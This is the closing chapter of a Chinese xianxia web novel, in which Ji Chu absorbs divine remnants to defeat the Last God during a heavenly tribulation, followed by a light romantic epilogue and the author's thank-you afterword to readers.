钟离白头上的“心脏”再度被傀儡丝压制,仿佛削草除根般,钟离白听到一声极为明显的撕拉声,神念绕在他身上的东西皆随着头顶“心脏”的移动而断裂。 光球如气泡碎裂,无数光点融进傀影丝中,向着傀影丝的最中心的纪楚身上涌去。 她几乎已经不是一个完整的人形。 傀影丝像是她的肢体,又像是她的影子,使她宛如一团忽然出现在水中的巨大的阴影,足以将所有的神念都笼罩起来。 她却飘在水中央一动不动,神念盘旋于她周身,仿佛将她困在一个巨大的光球里一样,连眼睛都变成了半金半墨的颜色,诡异无比。 陈梧终于能自由活动了。 他看着眼前一幕,被吓得一哆嗦: “纪楚怎么了?” “她在用傀影丝吞噬神念。” 不等陈梧露出惊恐地表情,蒋成旭稳住心神,拔出剑: “千丝傀影修炼到极致,人无形,魂无界,万物皆是她。” 说罢,他破开水面: “我去帮许盈。” “吞噬神念?” 陈梧看向钟离白: “人怎么可能吞噬神念,还是这么多神念?纪楚她……” “不管她能不能吞得了,我们现在都管不了了!我们得赶紧跑!” 钟离白察觉到危险,一把扯着陈梧往水上跑。 众多获得自由的修士也感觉到了诡谲危险的气息,纷纷朝着岸上跑去。 就在他们离开水面的一瞬间,整条河流忽然颠倒翻转,如天河坠落,傀影丝如同水中生出的蝶翼,密集而纤弱,却将所有的神族残念包裹着。 纪楚带着一身的水,跪坐在地上。 她压下随时都可能爆炸的神魂,抬头,双目已完全赤金,神色淡漠,与半空中的末神对视。 “无知小儿。” 末神高高在上,泛血的瞳孔朝着纪楚,如同一只死不瞑目的眼睛。 “死到临头,犹做无谓挣扎。” 许盈和蒋成旭频频引雷朝它攻来,虽不至于伤到它,却也如苍蝇一般难缠,让它无心关注纪楚的小动作。 但纵使如此,它也胜券在握。 纪楚吞不了神念,比起天雷,诸神之念会先将她的神魂压爆。 况且神族根本不会被天雷彻底诛灭。 秘境可毁,躯壳可灭,然念力不消,神便长久存在。 孟喻辞也知道,但他依然要入魔引雷劫,哪怕只能暂时阻止神族的计划。 末神觉得他和纪楚都是不计后果的疯子。 但它乐得其成,现在,它只需要将吞了所有神族残念的纪楚带出去,然后等着孟喻辞和天璇秘境一起被雷劫劈毁就好了。 许盈看到它试图靠近纪楚的动作,当即抹了一把脸上的雨水,甩下一地鲜红血珠,再度持剑劈向末神。 天雷轰鸣而下,地面开始皲裂,她险些被天雷砸进地裂里,好在蒋成旭在用剑帮她挡了一下。 但这一耽误,末神的眼珠子已经飘到了纪楚面前。 金色眼 睛周围伸出黑气,抓向纪楚。 钟离白早抱着罗盘找了个安全的地方蹲着,抬头看了看天上的劫云,数着数: “九九归一,再来四道,应该就是最后那一道灭世之劫了……” 正想问问陈梧有没有什么躲天雷的法子,可别中途就被劈死了,然而只是一抬头的功夫,蹲在他身边的陈梧就不见了。 钟离白:“!” 他生怕是陈梧掉进了什么地缝或者是被细小的天雷劈成了渣,下意识就想用手刨地上的泥灰。 陈梧却已经小跑着挡在了纪楚身前: “你别动她!” 末神的动作一顿,目光如同看见了一只自不量力的虫子。 黑气一扫,陈梧整个人便飞了出去。 许盈几人大惊:“陈梧!” 纪楚抬头看向陈梧。 她眼底一片赤金,眼角流下血泪,是神魂快要碎裂之向。 她没说话,撑着一口气,加速同被她吞噬的神念交涉。 末神再度朝她攻来,被许盈和蒋成旭拦下。 于此同时,头顶又一道雷劫酝酿汇聚。 每一道雷劫都会比之前范围更大更危险,方才一道就已经劈出地裂,再来一道,只怕无人再有躲藏之处。 所有人都会暴露在雷劫之下,生机渺茫。 陈梧躺在地上大口大口吐血,钟离白跑过来扶他,又担心又忍不住数落: “你说你逞什么能啊!” 陈梧没说话,望着天上的乌云,从怀里掏出个丹药吞了下去。 “应元丹?” 钟离白眼尖认了出来:“你……” 他话未出口,天上忽然多出一片乌云,一道天雷在其中酝酿,将落不落,却不似先前凶猛,更像是玄境修士的历劫天雷。 钟离白一惊,正准备用罗盘把陈梧护住,陈梧一把推开他站起来。 天雷锁定他的位置,他却没有试图躲藏,而是朝着末神的方向跑去。 他不能总是那个修为最低谁也保护不了的人。 他得变的有用一点。 * 末神被陈梧带来的天雷绊住,躲闪之际,倒数第四道天雷砸下,却不是冲着孟喻辞,而是纪楚。 她身上的气息太杂,成了比孟喻辞这个未完全入魔的人还需要被天道解决的存在。 孟喻辞持剑挡在纪楚身前,硬是用身体抗下了这一道天雷。 他唇边流下鲜血,面色却淡然,如同一片随时会被风吹走的雪。 然后他用少微剑隔出屏障,缓缓在纪楚单膝跪下,看向她的眼睛。 她眼底笼罩着一层浅浅的金,脸色苍白如纸。 许盈他们离得远看不清楚,孟喻辞却清楚地看到她皮肤下狰狞凸起的血管,里面流动的不是鲜红的血,而是诡异的金。 她整个人因为吞噬了太多神念,已经完全成了一团混乱的丝线,理不出头尾,只是靠着那个“他”的魔气勉强保持人形而已。 他抬手,轻轻擦去她眼角血痕,低声祈求: “不这样,好吗?” 纪楚咬着唇忍下神魂中的痛意:“……对不起。” 头顶亮光再起。 “倒数第三道……” 钟离白按住四方罗盘,从废墟中爬出来,悄悄朝着末神的方向靠近。 少微剑与垂直落下的天雷重重相碰,砸下一片亮色火光,在纪楚和孟喻辞周围落下一片噼里啪啦的光点。 纪楚垂着头,眼前一片血红,根本看不清师兄的脸,只能感受到他指尖颤抖,想要替她擦去眼角的血,却擦不干净。 她想伸手抱抱师兄,但是神魂太疼了,连喘气都像是一种折磨,她于是闭上了眼睛,摒弃一切杂念,用尽全力只和神魂中的东西对抗。 下一刻,她感觉自己落到了一个冰凉的怀抱中。 孟喻辞伸手抱住她,但却丝毫不敢用力。 怀里的人像一团虚无的雾气,仿佛轻轻一碰就会碎裂。 绝望的感觉再一次漫上来,压得他不能呼吸。 “纪楚。” 他低声道: “你不能抛下我,我不许你抛下我。” 伴随着他的低语,天际雷鸣声再起。 少微剑终于在一道道天雷的攻击下支撑不住,剑身骤然出现一道裂痕,焦黑之色横亘星图,如同蜿蜒的血迹。 孟喻辞脸色瞬间变得苍白如纸。 “倒数第二道……” 钟离白放下顶在头上的罗盘,吐出一口血。 他看了一眼许盈几个,已经趴在了地上,好在看起来还活着。 末神的眼珠子终于摆脱了让它厌烦的攻击,朝着纪楚的方向飘过去。 钟离白随便擦了擦嘴边的血,他开始起卦,拨动指针,一边碎碎念。 “老祖啊老祖,虽然我们这一脉从我师父的师父的师父辈就开始不敬您了,但是现在情势危机,您就大人有大量,别跟我们计较了。” 念叨半晌后,他正色道: “请卦神谕夢清净,吉凶祸福见分明,动静鸣雷如有神,三吉穗,六凶刑。” 指针沾了他的血,转动得很是迟缓,像是没油的轮子。 钟离白在心里骂了几句,用袖子擦了擦。 指针这才不甘不愿地转了起来。 * 一道闪电划过天际。 纪楚忽的睁开眼睛,看向头顶的金色眼珠子。 雷声在劫云中轰鸣,如巨兽翻涌嘶吼,酝酿着足以毁天灭地的一击。 “轰隆隆”的声响中,纪楚的神魂开始不受控制地散开。 浅淡的金光零散地附着在她散开的神魂上,她的身体也再难以维持人形,如飘渺丝线般四散而去。 孟喻辞怀里一空。 他拼命想要拢住的一团雾气,最终还是散了。 少微剑被雷劫边缘扫过,一下子失去灵力,落在地上。 但他却仿佛失去了所有力气般,一动不动,任由最后一道天雷朝着他砸下。 与此同时,末神正用得意的、看着失败者的目光看向他。 “你败了。” 黑气朝着纪楚散开的神魂盖下来,试图将那些散落的金光收拢。 雷光已近在眼前。 被围困到黑气中央的金光却忽然汇聚起来。 一切都像是放慢了速度一样,以至于末神能清楚地看到,那一团散开的透明丝线是如何收拢汇聚,最终变成了一个人的形状。 纪楚一双乌黑发亮的眼睛正一眨不眨地盯着它,寻真剑上银光闪过,如流星飞逝,眨眼间落进它的视线中央。 ——一剑将它的眼珠子刺穿。 天雷在同一时刻砸向纪楚。 钟离白的罗盘指针恰在这一瞬间停下,指在大吉大利的方向。 师父的声音再度在他脑海中响起: “卜算者预知天命,并非是为了改命,而是为了顺势。” “天命如此,诸如神族,诸如你我,又何必强行抗之呢?不若另辟蹊径,或可九死一生呢?” 许盈几人看着雷光中间骤然消散的纪楚,以及立在她身后几乎已经变成骨头架子的孟喻辞,震惊到失声。 * “为什么?” 纪楚的世界忽然变得空白,只剩下面前的金色眼睛用诧异不解的语气问她: “你的神魂为什么还能聚起来?” 纪楚看着它,轻轻一笑: “因为我和那些神族合作了啊。” “什么意思?” “天道不许神族走回头路,然天道轮回,却允许神族从头开始。我和神念合作,以傀影丝为媒介,借天雷摧毁万物之力,分割融合的神念,一切从头开始。” 末神眼里仍是困惑: “神念怎么会和你合作?我才是带着它们复生的神……” “你确实只为复活神族而生,残忍无情,残害生灵,并无神性。” 纪楚脸上的笑容收回,面无表情的看向它: “所以,你被抛弃了。” * 末神消散,纪楚睁开眼,周围的雷声、雨声重新回到她的感知。 有人抱着她,和她一起扛了这道天雷。 神魂碎裂的一瞬间,纪楚听见师兄在她耳边低语: “纪楚,我爱你。” “你一 定要回来。” * 三年后。 孟喻辞看着自己胳膊上、身上缠着的傀影丝,皱了皱眉,到底没忍住轻斥一声: “若还是恢复不了人形,便再去背上十遍心法。” 一团团透明的丝线老老实实地汇聚起来,纪楚站在他跟前连连摆手: “不了不了师兄,你看我这人形恢复的多好,哪里还用背心法呢?” 孟喻辞面无表情地瞧着她: “是吗?” 纪楚睁大眼睛,点头: “是的是的。” 孟喻辞没说话。 三年前,纪楚将自己所有的神魂都炼成了傀影丝,与神念融合,被天雷劈成了渣。 好在千丝傀影这门功法很是邪门,能分割神魂,竟还能聚集神魂。 但凡是个活物都难以留存,纪楚这一团团丝线却还能重聚。 只是她也就此多了个毛病。 比起人身,她更喜欢变成丝线,宛如蜘蛛精一样到处吐丝。 一个不留神被她的傀影丝缠上,便要被她意念所缚。 简直…… 邪的没边了。 偏偏她气息纯净,既无入魔之兆,也没有任何邪气。 好像就是单纯多了个“吐丝”的本领。 再加上自己险些入魔的事情到底引得宗门忌惮,他于是主动放下宗门一切事物,把纪楚散成一团的神魂捧着带回这个院子,帮她修复神魂。 奈何纪楚不爱背书,总是偷奸耍滑不配合。 孟喻辞思忖片刻,放下手中的书册,忽然伸手,飞快抓住她的手腕。 纪楚逃跑不及,被师兄抓在手上。 冰凉凉的灵力送进她体内,就跟掉进了盘丝洞一样,哪哪都转不通畅。 好嘛,他日夜监督她修炼,结果她阳奉阴违,只修出了一个人形的外壳,内里却仍是个“盘丝洞”。 他抬眸瞧她。 见师兄已经发现了,纪楚于是冲他尴尬地笑了下,企图蒙混过关: “我真的好好练了,但是这个神魂它就跟泡水的海蜇丝一样,嘎嘣脆啊,拼不起来。” “海蜇丝”三个字咬的格外重。 孟喻辞:“……” 纪楚说完又眨巴着眼睛问他: “师兄,天黑了,是不是该吃饭了?” 她的余光一直往旁边桌子上瞧,那里放着一框新鲜的海蜇丝,是许盈几个人送来的,据说凉拌非常好吃。 孟喻辞乌黑的瞳孔又从海蜇丝上移回来,盯着纪楚,高深莫测。 “其实你若不想背心法,也无妨。” 纪楚一听便激动起来,背书实乃她人生最痛恨之事,偏偏宗门给的修复神魂的法子全是背会心法然后打坐修行。 师兄为了教她,倒是将那些心法烂熟于心,可惜不能替她修炼。 得知还有别的办法,纪楚顿时也不去想什么海蜇丝了,忙问道: “还有什么办法?师兄你快说啊,只要不是背书,我都会好好学的!” “真的?” 孟喻辞又问。 他握着纪楚的手放松几分,虚虚圈着她的腕子,指尖也不再按着她的经脉,而是用指腹反复摩挲,平白多了几分莫名诡异的感觉。 纪楚被他直勾勾的眼神看的有些不安,犹豫道: “……要不还是算了吧?其实我这个神魂挺好的,心法也可以慢慢背……” 她不说还好,一说孟喻辞便下定了决心。 “不用算了,就今日。” 他立马把纪楚抱起来就往屋里走。 衣摆的风牵动了桌上的书。 纪楚一惊,匆忙抱住他脖子,无意间从书的封面上看见了“双修心法——修复神魂必选心法”几个大字。 她的脑子“嗡”的一声,忍不住又变成了一团丝线挂在师兄脖子上。 孟喻辞将这团丝线拢一拢放在床上。 纪楚又“噗嗤”一声变回了人形,着急忙慌地打断他的动作: “师兄你等一下!难道就只有这一个办法了吗?!双……不是,这个心法看起来也很厚一本啊!我背不下来的!!!” 孟喻辞背光站着,脸上带着点微不可查的红晕,声音却一如既往的淡然沉稳: “只有这个心法,我可以替你背。” 顿了顿,他又补充一句: “而且我背的很熟。” <正文完结>—— 作者有话说:正文到这里就结束了,接下来还会有番外,主要是前世师兄视角以及一些主线之后的日常。 除此之外还有一些福利番外,正文订阅率五十可以免费解锁,感谢大家支持正版,爱你们! (番外非日更,我要出去玩几天嘿嘿嘿[害羞]) 最后求一求预收和专栏和营养液[害羞] 咳咳,好的,正事说完了,接下来是我的碎碎念时间~ 其实我很早之前就在想,写完正文以后,我一定要跟大家哭诉数据不好收益不好创作艰难,这样就可以得到家人们的抱抱。 但是我很快否决了这个念头,因为比起数据,家人们的陪伴和这本书带给我的快乐对我而言更重要更难忘。 几年前我还天真地觉得,生活尽在掌握,只要我想做就一定能做到。 但是这几年,我犹豫过,绝望过,也一次次擦干眼泪重新开始过。于是我终于意识到,生活是具体而琐碎的,生活中的每一个瞬间都可以打败我。 放弃的路有千千万万条,但坚持的路却只有一条。 我只能小声祈祷,希望热爱真的可以抵过岁月漫长,让我有更多的勇气继续往前走。 这是我第一次尝试比较长的篇幅,如果不是家人们一路支持我鼓励我,真不敢想象我得走的多孤单多迷茫。 是你们的支持和陪伴创造了这本书,(九十度鞠躬),我真的超级感谢你们!爱你们! 最后的最后,送上我最真诚的祝愿: 幸得相逢,愿君长乐无忧。【`xs.c`o`m 网】